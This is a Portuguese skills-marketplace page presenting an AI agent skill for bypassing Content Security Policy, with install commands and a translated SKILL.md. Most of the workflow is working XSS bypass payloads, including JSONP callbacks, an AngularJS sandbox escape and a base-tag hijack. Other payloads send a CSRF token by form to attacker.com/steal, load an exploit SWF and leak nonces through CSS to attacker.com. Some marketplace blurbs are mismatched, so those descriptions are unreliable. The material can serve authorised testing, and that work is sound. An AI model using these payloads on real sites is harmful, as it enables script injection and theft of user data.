performing-content-security-policy-bypass
Ensina seu agente de IA a proteger aplicações contra ataques.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas na configuração de segurança de sites (chamada Content Security Policy - CSP) para conseguir executar códigos maliciosos, mesmo quando o site tenta impedir isso.
Quando usar
- ✓Quando você encontra um código malicioso que o site bloqueia.
- ✓Ao testar a segurança de sites para ver se a política de segurança está forte.
- ✓Durante caças a bugs (bug bounty) onde a política de segurança impede o ataque.
Exemplo do que pedir para a IA
“Como posso tentar burlar a política de segurança deste site para executar um script?”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa as regras de segurança do site e procura por brechas conhecidas, como permitir scripts diretos ou usar serviços externos de forma insegura. Ela tenta explorar essas brechas para executar código.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypassOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-content-security-policy-bypass/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Bypass de Content Security Policy
Quando Usar
- Quando XSS é encontrado, mas a execução é bloqueada pela Content Security Policy
- Durante avaliações de segurança de aplicações web para avaliar a eficácia da CSP
- Ao testar a robustez da CSP contra técnicas de bypass conhecidas
- Durante a caça a bugs onde a CSP impede a exploração direta de XSS
- Ao auditar a configuração do cabeçalho CSP em busca de fraquezas de segurança
Pré-requisitos
- Burp Suite para interceptar respostas e analisar cabeçalhos CSP
- CSP Evaluator (Google) para análise automatizada de políticas
- Compreensão das diretivas CSP (script-src, default-src, style-src, etc.)
- Conhecimento de técnicas de bypass de CSP (JSONP, base-uri, object-src)
- Ferramentas de desenvolvedor do navegador para monitoramento de violações de CSP
- Coleção de endpoints JSONP de domínios permitidos (whitelisted)
Fluxo de Trabalho
Passo 1 — Analisar a Política CSP
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"
# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"
# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis
# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly
# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
Passo 2 — Explorar unsafe-inline e unsafe-eval
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead
Passo 3 — Explorar Endpoints JSONP de Domínios Permitidos
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com
# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js
# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
Passo 4 — Explorar Bypasses de base-uri e Form Action
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com
# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
Passo 5 — Explorar Bypasses de Nonce e Hash
# Vazamento de Nonce via seletores de atributos CSS
# Se o atacante puder injetar HTML (mas não script devido ao nonce da CSP):
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Força bruta em cada posição de caractere para vazar o nonce
# Detecção de reutilização de Nonce
# Se o mesmo nonce for usado em várias páginas ou requisições:
# Capturar o nonce de uma página, usá-lo para injetar script em outra
# DOM clobbering para sobrescrever a verificação de nonce
<form id="csp"><input name="nonce" value="controlado-pelo-atacante"></form>
# Gadgets de script em bibliotecas permitidas
# Se uma biblioteca JS permitida tiver um gadget que cria scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# Bypass de DOMPurify via poluição de protótipo
…
Perguntas frequentes
O que é Content Security Policy (CSP)?
É uma camada de segurança que os sites usam para dizer ao navegador quais fontes de conteúdo (como scripts e imagens) são permitidas e quais não são, ajudando a prevenir ataques.
O que são 'unsafe-inline' e 'unsafe-eval'?
São permissões dentro do CSP que, se habilitadas, enfraquecem a segurança ao permitir a execução de scripts diretamente no código HTML ('unsafe-inline') ou a execução de código JavaScript gerado dinamicamente ('unsafe-eval').
O que é JSONP?
É uma técnica antiga que permite carregar dados de um domínio diferente, mas que pode ser explorada para executar código se não for configurada corretamente e se o domínio for permitido pelo CSP.
Detalhes
Descrição original do autor
Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP h
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6047
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC